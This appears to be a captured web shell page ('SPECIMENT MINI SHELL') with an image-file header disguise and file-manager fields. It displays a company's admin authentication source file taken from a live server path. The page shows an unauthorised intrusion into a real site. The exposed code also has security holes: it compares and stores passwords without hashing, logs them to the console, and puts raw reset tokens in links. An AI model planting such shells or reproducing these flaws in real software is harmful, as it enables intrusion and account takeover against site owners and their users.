ÿØÿà JFIF  H H ÿÛ C   GIF89; Eú tiket mi chék chéúfetál .

Eú tiket mi chék chéúfetál .

System: Linux srv913213 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64

Current Path : /var/www/talentgenesis_admin_backend/src/admin/
Upload File :
Current File : /var/www/talentgenesis_admin_backend/src/admin/admin.service.ts

import { HttpException, HttpStatus, Injectable, Req } from '@nestjs/common';
import {
  CreateAdminDto,
  Data,
  LoginAdminDto,
  RefreshTokenDto,
} from './dto/admin.dto';
import { InjectRepository } from '@nestjs/typeorm';
import { Users } from './user/entities/user.entity';
import { Role } from './role/entities/role.entity';
import { Repository } from 'typeorm';
import { LoggerService } from 'src/logger/logger.service';
import * as bcrypt from 'bcryptjs';
import * as jwt from 'jsonwebtoken';
import { CryptoService } from 'src/aesEncrypt/aes-service';
import { PermissionService } from './permission/permission.service';
import { ChangePasswordDto, ForgotPasswordDto, ResetPasswordDto, } from './dto/forgetpassword.dto';
import { JwtService } from '@nestjs/jwt';
import { MailerService } from 'src/shared/mailer/mailer.service';
import { HashingService } from 'src/shared/hashing/hashing.service';
import { ActivityLogService } from 'src/activity-log/activity-log.service';
import { CheckPortalService } from 'src/helpers/check-portal.service';
import { ConfigService } from '@nestjs/config';
import * as expressUserAgent from 'express-useragent';
import { TokenUpdateDto } from './dto/fcm-token.dto';


@Injectable()
export class AdminService {
  constructor(
    @InjectRepository(Users) private readonly userRepository: Repository<Users>,
    @InjectRepository(Role) private roleRepository: Repository<Role>,
    private loggerService: LoggerService,
    private loginActivityService: ActivityLogService,
    private cryptoService: CryptoService,
    private readonly permissionService: PermissionService,
    private readonly jwtService: JwtService,
    private readonly mailerService: MailerService,
    private readonly hashingService: HashingService,
    private checkPortal: CheckPortalService,
    private configService: ConfigService,

  ) { }

  async create(
    { name, phone, email, password, roleId }: CreateAdminDto,
    req: Request,
  ) {
    try {
      // console.log(name, phone, email, password, roleId,">.................")
      const nameDecrypt = await this.cryptoService.newdecrypt(name);
      const phoneDecrypt = await this.cryptoService.newdecrypt(phone);
      const emailDecrypt = await this.cryptoService.newdecrypt(email);
      const passwordDecrypt = await this.cryptoService.newdecrypt(password);
      const roleIdDecrypt = await this.cryptoService.newdecrypt(roleId);

      const userExists = await this.userRepository.find({
        where: {
          email: email,
        },
      });
      if (userExists.length) {

        return {
          status: false,
          statusCode: 409,
          message: 'Email already exists',
        };
      }

      const hashPassword = await bcrypt.hash(passwordDecrypt, 10);
      let user = new Users();
      user.name = name;
      user.password = password;
      user.email = email;
      user.mobileNo = phone;

      if (roleIdDecrypt) {
        user.role = await this.roleRepository.findOne({
          where: { id: roleIdDecrypt },
        });
      }

      const createUser = await this.userRepository.save(user);
      if (createUser) {
        const data = {
          module: 'Admin',
          data: email,
          activityType: 2,
          message: 'Admin Created Successfully',
          request: req,
        };
        const logger = await this.loggerService.success(data);
        const tokenGenrate = this.generateJWT(name, createUser.id);

        return {
          status: true,
          statusCode: 200,
          message: 'Admin Created Successfully',
          data: tokenGenrate,
        };
      }
    } catch (error) {
      const data = {
        module: 'Admin',
        data: email,
        activityType: 2,
        message: 'Something Wrong',
        error: error,
      };
      const logger = await this.loggerService.errorMsg(data);
      throw new HttpException(error, HttpStatus.BAD_REQUEST);
    }
  }

  async encrypt(data: Data, req: Request) {

    const encryptData = await this.cryptoService.newencrypt(data.name)
    return encryptData

  }

  async decrypt(data: Data, req: Request) {
    console.log(data.name)
    const newData = decodeURIComponent(data.name)
    console.log(newData)

    const decryptData = await this.cryptoService.newdecrypt(newData)
    return decryptData

  }

  async login({ email, password }: LoginAdminDto, req: Request) {
    try {

      const emailDec = await this.cryptoService.newdecrypt(email)
      const passwordDec = await this.cryptoService.newdecrypt(password)


      if (email != '') {
        const emailRegex = /^[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}$/;
        const regexEmail = emailRegex.test(emailDec);
        if (!regexEmail) {
          return {
            status: false,
            message: 'Please enter the valid email id',
            data: [],
          };
        }
      }

      if (email == '') {
        return {
          status: false,
          message: 'Please enter the email id',
          data: [],
        };
      }

      if (passwordDec == '') {
        return {
          status: false,
          message: 'Please enter the password',
          data: [],
        };
      }

      const user = await this.userRepository.findOne({
        where: {
          email: email, isDeleted: false
        },
        relations: ['role'],
      });
      if (!user) {
        // const data = {
        //   module: 'Admin',
        //   data: email,
        //   activityType: 2,
        //   message: 'Please provide the registered email id and password',
        //   request: req,
        //   createdBy: 'Not Found',
        // };
        // const logger = await this.loggerService.warning(data);
        return {
          status: false,
          message: 'Please provide the registered email id and password',
          data: [],
        };
      }

      const checkRole = [1, 2, 3, 4];
      if (checkRole.includes(user?.role?.id)) {
        var roleName = user.role.name;
      } else {
        var roleName = 'user';
      }

      const hashPassword = user.password;
      const isValidPassword = await bcrypt.compare(
        passwordDec,
        hashPassword,
      );

      if (password === user.password) {
        if (user.status == 0) {
          // const data = {
          //   module: 'Admin',
          //   data: email,
          //   activityType: 2,
          //   message: 'Account suspended, please contact administrator',
          //   request: req,
          //   createdBy: roleName,
          // };
          // const logger = await this.loggerService.warning(data);
          return {
            status: false,
            message: 'Account suspended, please contact administrator',
            data: [],
          };
        }
        const platformName = 'admin';
        const portal = 'admin';

        const staticvalues = {
          platform: platformName,
          portal: portal,
          user_id: user.id,
          user_email: emailDec,
          user_name: user.name,
          role_id: user.role.id,
          role_name: roleName,
          permission: {},
        };

        staticvalues.permission = await this.permissionService.getMenuGroup(
          user.role.id,
        );
        const tokenData = {
          ...staticvalues,
        };
        const accessTokenValue = jwt.sign(tokenData, process.env.JSON_TOKEN_KEY, {
          expiresIn: '8h',
        });
        const refreshTokenValue = jwt.sign(
          tokenData,
          process.env.JSON_TOKEN_KEY,
          { expiresIn: '8h' },
        );


        const accessTokenEncrypt = await this.cryptoService.newencrypt(
          accessTokenValue,
        );
        const refreshTokenEncrypt = await this.cryptoService.newencrypt(
          refreshTokenValue,
        );
        user.accessToken = accessTokenEncrypt;
        user.refreshToken = refreshTokenEncrypt;
        var result = await this.userRepository.save(user);

        const data = {
          module: 'User',
          data: email,
          activityType: 2,
          message: 'Logged in successfully',
          request: req,
          createdBy: roleName,
        };
        // const loginAct = {
        //   platform: platformName,
        //   userId: user.id,
        //   loginBy: roleName,
        //   email: emailDec,
        //   request: req,
        // };
        // const logger = await this.loggerService.success(data);
        // const loginActivity = await this.loginActivityService.loginActivity(
        //   loginAct,
        // );

        return {
          status: true,
          message: 'Logged in successfully',
          accessToken: accessTokenEncrypt,
          refresToken: refreshTokenEncrypt,
          data: [],
        };

      } else {
        const data = {
          module: 'Admin',
          data: email,
          activityType: 2,
          message: 'Please provide the valid email id and password',
          request: req,
          createdBy: roleName,
        };
        //const logger = await this.loggerService.warning(data);
        return {
          status: false,
          message: 'Please provide the valid email id and password',
          data: [],
        };

      }

    } catch (error) {
      // const data = {
      //   module: 'Admin',
      //   data: email,
      //   activityType: 2,
      //   message: 'Something Wrong',
      //   error: error,
      //   createdBy: 'Something Wrong',
      //};
     // const logger = await this.loggerService.errorMsg(data);
      throw new HttpException(error, HttpStatus.BAD_REQUEST);
    }
  }


  private generateJWT(name: string, id: number) {
    return jwt.sign(
      {
        name: name,
        id: id,
      },
      process.env.JSON_TOKEN_KEY,
      {
        expiresIn: 3600000,
      },
    );
  }

  async forgetpassword(email: string, @Req() req: Request) {

    const emailDecrypt = await this.cryptoService.newdecrypt(email);

    const existsEmail = await this.userRepository.findOneBy({
      email: email,
    });

    if (existsEmail != null) {
      const user = await this.userRepository.findOne({
        where: {
          email: email,
        },
        relations: ['role'],
      });


      const checkRole = [1, 2];
      if (checkRole.includes(user.role.id)) {
        var roleName = user.role.name;
      } else {
        var roleName = 'user';
      }
    }

    if (emailDecrypt != '') {
      const emailRegex = /^[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}$/;
      const regexEmail = emailRegex.test(emailDecrypt);

      if (!regexEmail) {
        const data = {
          module: 'Admin',
          data: emailDecrypt,
          activityType: 2,
          message: 'Please enter valid email id',
          request: req,
          createdBy: 'Not found',
        };
        const logger = await this.loggerService.warning(data);

        return {
          status: false,
          message: 'Please enter valid email id',
          data: [],
        };
      }
    }

    if (emailDecrypt == '') {
      return {
        status: false,
        message: 'Please enter email id',
        data: [],
      };
    }
    if (!existsEmail) {
      const data = {
        module: 'Admin',
        data: emailDecrypt,
        activityType: 2,
        message: 'Email Not Found',
        request: req,
        createdBy: 'Not found',
      };
      const logger = await this.loggerService.warning(data);

      return {
        status: false,
        message: 'Email Not Found',
        data: [],
      };
    }

    if (existsEmail.status == 2) {
      const data = {
        module: 'Admin',
        data: emailDecrypt,
        activityType: 2,
        message:
          'This email does not match our DB, please contact administrator',
        request: req,
        createdBy: roleName,
      };
      const logger = await this.loggerService.warning(data);

      return {
        status: false,
        message:
          'This email does not match our DB, please contact administrator',
        data: [],
      };
    }

    if (existsEmail.isDeleted == true) {
      const data = {
        module: 'Admin',
        data: emailDecrypt,
        activityType: 2,
        message: 'Please provide the valid registered email id',
        request: req,
        createdBy: roleName,
      };
      const logger = await this.loggerService.warning(data);

      return {
        status: false,
        message: 'Please provide the valid registered email id',
        data: [],
      };
    }

    if (existsEmail.status == 0) {
      const data = {
        module: 'Admin',
        data: emailDecrypt,
        activityType: 2,
        message: 'Account suspended, please contact administrator',
        request: req,
        createdBy: roleName,
      };
      const logger = await this.loggerService.warning(data);

      return {
        status: false,
        message: 'Account suspended, please contact administrator',
        data: [],
      };
    }

    if (existsEmail.status == 1) {
      const token = jwt.sign(
        {
          email: emailDecrypt,
        },
        process.env.JSON_TOKEN_KEY,
        {
          expiresIn: '15m',
        },
      );




      const tokenEnc = await this.cryptoService.newencrypt(token)

      const userAgentInfo = expressUserAgent.parse(req.headers['user-agent']);
      const browser = userAgentInfo.browser;


      let link;

      link="https://tgadmin.technogenesis.in" +"/" +
      "forgot-password/" + token;

      // link="https://backend.nimalaanenergies.com" +"/" +
      // "forgot-password/" + encodeURIComponent(tokenEnc);

      // link="https://backend.nimalaanenergies.com" +"/" +
      // "forgot-password/" + tokenEnc;

      console.log(tokenEnc)

      console.log(encodeURIComponent(tokenEnc))

      // link =
      //   "https://localhost:4600" + "/" +
      //   "forgot-password/" + encodeURIComponent(tokenEnc);

      // link =
      // "https://admin.truefee.in" + "/" +
      // "forgot-password/" +encodeURIComponent(tokenEnc);



      // if(browser==='PostmanRuntime'){
      //   link =
      //   "https://localhost:4600" + "/" +
      //   "forget-password/" +encodeURIComponent(tokenEnc);
      // }else{
      //   link =
      //   "https://localhost:4600" + "/" +
      //   "forget-password/" +tokenEnc;
      // }




      return await this.sendMailForgotPassword(existsEmail.email, emailDecrypt, link, req);
    }
  }

  private async sendMailForgotPassword(email, emailDec, link, req) {
    try {

      const existsEmail = await this.userRepository.findOneBy({
        email: email,
      });

      if (existsEmail != null) {
        const user = await this.userRepository.findOne({
          where: {
            email: email,
          },
          relations: ['role'],
        });

        const checkRole = [1, 2, 3, 4];
        if (checkRole.includes(user.role.id)) {
          var roleName = user.role.name;
        } else {
          var roleName = 'user';
        }
      }

      const afterSend = await this.mailerService.sendMail({
        mailto: 'FORGOTPASSWORD',
        to: emailDec,
        from: this.configService.get<string>('EMAIL_AUTH_USER'),
        subject: 'Forgot Password successful ✔',
        text: 'Forgot Password successful!',
        template: 'resetpassword',
        context: {
          title: 'Forgot Password successful!',
          name: existsEmail.name,
          click: link,
          description:
            'Request Reset Password Successfully!  ✔, This is your new password:',
        },
      });
      if (afterSend.response) {
        const data = {
          module: 'Admin',
          data: emailDec,
          activityType: 2,
          message: 'Forgot password email sent successfully',
          request: req,
          createdBy: roleName,
        };
        const logger = await this.loggerService.success(data);

        return {
          status: true,
          message: 'Forgot password email sent successfully',
          data: [],
          link: link,
        };
      }
    } catch (err) {
      console.log(err,"change password mail error")
      return {
        status: false,
        message: 'Forgot Password send Mail Failed',
        data: [],
      };
    }
  }

  public async findById(
    token: string,
    resetPasswordDto: ResetPasswordDto,
    req: Request,
  ): Promise<any> {
    try {

      const newData = decodeURIComponent(token)
      const tokenDec = await this.cryptoService.newdecrypt(newData)


      const password = await this.cryptoService.newdecrypt(
        resetPasswordDto.password,
      );
      const confirmPassword = await this.cryptoService.newdecrypt(
        resetPasswordDto.confirmpassword,
      );

      const payload = (await jwt.verify(
        tokenDec,
        process.env.JSON_TOKEN_KEY,
      )) as jwt.JwtPayload;
      const checkEmail = await this.cryptoService.newencrypt(payload.email)

      const existsEmail = await this.userRepository.findOneBy({
        email: checkEmail,
      });

      if (existsEmail != null) {
        const user = await this.userRepository.findOne({
          where: {
            email: checkEmail,
          },
          relations: ['role'],
        });

        const checkRole = [1, 2, 3, 4];
        if (checkRole.includes(user.role.id)) {
          var roleName = user.role.name;
        } else {
          var roleName = 'user';
        }
      }

      if (!existsEmail) {
        return {
          status: false,
          message: 'Invalid Token',
          data: [],
        };
      } else {
        if (password == '') {
          return {
            status: false,
            message: 'Please provide the new password',
            data: [],
          };
        }

        if (confirmPassword == '') {
          return {
            status: false,
            message: 'Please provide the confirm password',
            data: [],
          };
        }

        if (password !== confirmPassword) {
          const data = {
            module: 'Admin',
            data: checkEmail,
            activityType: 2,
            message: 'New password and confirm password must be same',
            // request: req,
            createdBy: roleName,
          };
          const logger = await this.loggerService.warning(data);

          return {
            status: false,
            message: 'New password and confirm password must be same',
            data: [],
          };
        }

        existsEmail.password = resetPasswordDto.confirmpassword;

        const result = await this.userRepository.save(existsEmail);

        const data = {
          module: 'Admin',
          data: existsEmail.email,
          activityType: 2,
          message: 'Password resets successfully',
          // request: req,
          createdBy: roleName,
        };
        const logger = await this.loggerService.success(data);

        return {
          status: true,
          message: 'Password resets successfully',
          data: [],
        };
      }

    } catch (err) {
      if (err instanceof jwt.TokenExpiredError) {
        return {
          status: false,
          message: 'Link expired',
          data: [],
        };
      }
      return err;
    }
  }

  public async findByIdTest(
    //token: string,
    resetPasswordDto: ResetPasswordDto,
    req: Request,
  ): Promise<any> {
    try {
      console.log(resetPasswordDto.token, "|||||||||||||||||||||||||||||||||||||||||||||||||||||")

      //const tokenDec=await this.cryptoService.newdecrypt(resetPasswordDto.token)
      // const newData = decodeURIComponent(resetPasswordDto.token)
      // const tokenDec = await this.cryptoService.newdecrypt(newData)





      const password = await this.cryptoService.newdecrypt(
        resetPasswordDto.password,
      );
      const confirmPassword = await this.cryptoService.newdecrypt(
        resetPasswordDto.confirmpassword,
      );

      const payload = (await jwt.verify(
        resetPasswordDto.token,
        process.env.JSON_TOKEN_KEY,
      )) as jwt.JwtPayload;
      const checkEmail = await this.cryptoService.newencrypt(payload.email)

      const existsEmail = await this.userRepository.findOneBy({
        email: checkEmail,
      });

      if (existsEmail != null) {
        const user = await this.userRepository.findOne({
          where: {
            email: checkEmail,
          },
          relations: ['role'],
        });

        const checkRole = [1, 2, 3, 4];
        if (checkRole.includes(user.role.id)) {
          var roleName = user.role.name;
        } else {
          var roleName = 'user';
        }
      }

      if (!existsEmail) {
        return {
          status: false,
          message: 'Invalid Token',
          data: [],
        };
      } else {
        if (password == '') {
          return {
            status: false,
            message: 'Please provide the new password',
            data: [],
          };
        }

        if (confirmPassword == '') {
          return {
            status: false,
            message: 'Please provide the confirm password',
            data: [],
          };
        }

        if (password !== confirmPassword) {
          const data = {
            module: 'Admin',
            data: checkEmail,
            activityType: 2,
            message: 'New password and confirm password must be same',
            request: req,
            createdBy: roleName,
          };
          const logger = await this.loggerService.warning(data);

          return {
            status: false,
            message: 'New password and confirm password must be same',
            data: [],
          };
        }

        existsEmail.password = resetPasswordDto.confirmpassword;

        const result = await this.userRepository.save(existsEmail);

        const data = {
          module: 'Admin',
          data: existsEmail.email,
          activityType: 2,
          message: 'Password resets successfully',
          request: req,
          createdBy: roleName,
        };
        const logger = await this.loggerService.success(data);

        return {
          status: true,
          message: 'Password resets successfully',
          data: [],
        };
      }

    } catch (err) {
      if (err instanceof jwt.TokenExpiredError) {
        return {
          status: false,
          message: 'Link expired',
          data: [],
        };
      }
      return err;
    }
  }

  public async updateByPassword(
    id: any,
    changePasswordDto: ChangePasswordDto,
    req: Request,
  ): Promise<any> {
    try {

      const getPortal = await this.checkPortal.checkPortal(req);

      if (getPortal == 'admin') {
        const passwordDecrypt = await this.cryptoService.newdecrypt(
          changePasswordDto.password,
        );
        const newpass = await this.cryptoService.newdecrypt(
          changePasswordDto.passwordnew,
        );
        const confirmPassword = await this.cryptoService.newdecrypt(
          changePasswordDto.passwordconfirm,
        );
        const idDecrypt = await this.cryptoService.newdecrypt(id);


        const currpassword = await this.userRepository.findOne({
          where: { id: id, isDeleted: false },
        });
        if (!currpassword) {
          return {
            status: false,
            message: 'User Not Found',
            data: [],
          };
        } else {
          const currentpassword = passwordDecrypt;


          if (passwordDecrypt == '') {
            return {
              status: false,
              message: 'Please provide the password',
              data: [],
            };
          }

          if (newpass == '') {
            return {
              status: false,
              message: 'Please provide the new password',
              data: [],
            };
          }

          if (confirmPassword == '') {
            return {
              status: false,
              message: 'Please provide the confirm password',
              data: [],
            };
          }



          if (currpassword.password === changePasswordDto.password) {
            console.log(currpassword.password,changePasswordDto.password,"++++++++++++++++++++++++++++++++++")
            console.log(currpassword.password,newpass,"++++++++++++++++++++++++++++++++++")

            if (currpassword.password == changePasswordDto.passwordnew) {
              console.log(currpassword.password,newpass,"++++++++++++++++++++++++++++++++++")

              const data = {
                module: 'Admin',
                data: currpassword.email,
                activityType: 7,
                message: 'New password should not same as old password',
                request: req,
                createdBy: req['user'].role_name,
              };
              const logger = await this.loggerService.warning(data);

              return {
                status: false,
                message: 'New password should not same as old password',
                data: [],
              };
            }
            if (newpass != confirmPassword) {
              const data = {
                module: 'Admin',
                data: currpassword.email,
                activityType: 7,
                message: 'New password and confirm password must be same',
                request: req,
                createdBy: req['user'].role_name,
              };
              const logger = await this.loggerService.warning(data);

              return {
                status: false,
                message: 'New password and confirm password must be same',
                data: [],
              };
            }
            currpassword.password = changePasswordDto.passwordnew;
            const result = await this.userRepository.save(currpassword);



            const data = {
              module: 'Change Password',
              data: currpassword.email,
              activityType: 7,
              message: 'Password updated successfully ',
              request: req,
              createdBy: req['user'].role_name,
            };
            const logger = await this.loggerService.success(data);

            return {
              status: true,
              message: 'Password successfully changed',
              data: [],
            };

          } else {
            const data = {
              module: 'Admin',
              data: currpassword.email,
              activityType: 7,
              message: 'Please provide the valid old password',
              request: req,
              createdBy: req['user'].role_name,
            };
            const logger = await this.loggerService.warning(data);

            return {
              status: false,
              message: 'Please provide the valid old password',
              data: [],
            };
          }
        }
      }
      else {
        return {
          status: false,
          statusCode: 401,
          message: 'Unauthorized',
        };
      }
    } catch (err) {
      throw new HttpException(err, HttpStatus.BAD_REQUEST);
    }
  }

  public async refreshToken({ refresh_token }: RefreshTokenDto, req: Request) {
    const user = await this.userRepository.findOne({
      where: {
        refreshToken: refresh_token,
      },
      relations: ['role'],
    });
    if (!user) {
      return {
        status: false,
        message: 'pls valid refresh token',
        data: [],
      };
    }
    const checkRole = [1, 2, 3, 4];
    if (checkRole.includes(user?.role?.id)) {
      var roleName = user.role.name;
    } else {
      var roleName = 'user';
    }
    const emailDec = await this.cryptoService.newdecrypt(user.email)

    const platformName = 'admin';
    const portal = 'admin';

    const staticvalues = {
      platform: platformName,
      portal: portal,
      user_id: user.id,
      user_email: emailDec,
      user_name: user.name,
      role_id: user.role.id,
      role_name: roleName,
      permission: {},
    };

    staticvalues.permission = await this.permissionService.getMenuGroup(
      user.role.id,
    );
    const tokenData = {
      ...staticvalues,
    };
    const accessTokenValue = jwt.sign(tokenData, process.env.JSON_TOKEN_KEY, {
      expiresIn: '15m',
    });
    const refreshTokenValue = jwt.sign(
      tokenData,
      process.env.JSON_TOKEN_KEY,
      { expiresIn: '20m' },
    );


    const accessTokenEncrypt = await this.cryptoService.newencrypt(
      accessTokenValue,
    );
    const refreshTokenEncrypt = await this.cryptoService.newencrypt(
      refreshTokenValue,
    );
    user.accessToken = accessTokenEncrypt;
    user.refreshToken = refreshTokenEncrypt;
    var result = await this.userRepository.save(user);

    const data = {
      module: 'Admin',
      data: user.email,
      activityType: 2,
      message: 'Admin Login Successfully',
      request: req,
    };
    const loginAct = {
      platform: platformName,
      userId: user.id,
      loginBy: roleName,
      email: user.email,
      request: req,
    };
    const logger = await this.loggerService.success(data);
    const loginActivity = await this.loginActivityService.loginActivity(
      loginAct,
    );

    return {
      status: true,
      message: 'Successfully Login',
      accessToken: accessTokenEncrypt,
      refresToken: refreshTokenEncrypt,
      data: [],
    };
  }



  async logoutAdmin(id, req: Request) {
    try {

      const result = await this.userRepository.update({ id: +id }, { accessToken: null, refreshToken: null, fcmToken: null });
      if (result) {
        return ({
          status: true,
          message: "Logout Successfully",
          data: []
        })
      }
      else {
        return ({
          status: false,
          statusCode: 409,
          message: "Logout failed",
        })
      }
    }
    catch (error) {
      throw new HttpException(error, HttpStatus.BAD_REQUEST);
    }
  }
}

xxxxx1.0, XXX xxxx
SPECIMENT MINI SHELL - RECODED FROM PHANTOM GHOST